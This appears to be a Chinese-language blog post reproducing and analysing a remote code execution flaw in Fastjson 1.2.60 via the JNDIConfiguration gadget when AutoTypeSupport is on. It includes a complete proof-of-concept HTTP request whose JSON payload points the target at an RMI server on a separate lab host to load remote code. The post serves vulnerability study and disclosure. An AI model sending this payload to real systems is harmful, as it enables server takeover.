Loading

Fastjson 1.2.60 Rce 漏洞复现&分析

0x01 漏洞背景

影响范围:1.2.60

漏洞描述:该漏洞主要在开启AutoTypeSupport情况下的利用,针对该gadget还没在黑名单当中的利用。

0x02 漏洞复现

Poc1:

POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 110

{
	"@type":"org.apache.commons.configuration.JNDIConfiguration",
	"prefix":"rmi://192.168.52.129:9999/#Exploit"
}

image-20201118153427363

0x03 漏洞分析

其他的流程都没有变化,只是被找到了这条gadget刚刚好在黑名单之外。使用poc攻击该写好的接口应用(开启AutoTypeSupport)。

从前面的分析便可知,在反序列化还原对象的时候,会先创建该类的对象,然后调用其set方法对相应属性进行赋值,调用get方法对相应属性进行值获取。

在反序列化时,调用javabean的set方法对prefix进行赋值,如下

image-20201118160246393

最终会调用org.apache.commons.configuration.JNDIConfiguration的setprefix方法进行赋值。

image-20201118160728426

又由于在反序列化过程中,需要获取反序列化对象的属性值,因此调用了其get方法。

image-20201118161406304

最终获取baseContext属性时,调用了JNDIConfiguration的getBaseContext方法

image-20201118161523720

而BaseContext方法最终调用了lookup,且其参数可控,为我们的prefix参数。

0x04 参考

https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/

https://www.freebuf.com/articles/web/213327.html

posted @ 2021-02-05 17:49  0x28  阅读(997)  评论(0编辑  收藏  举报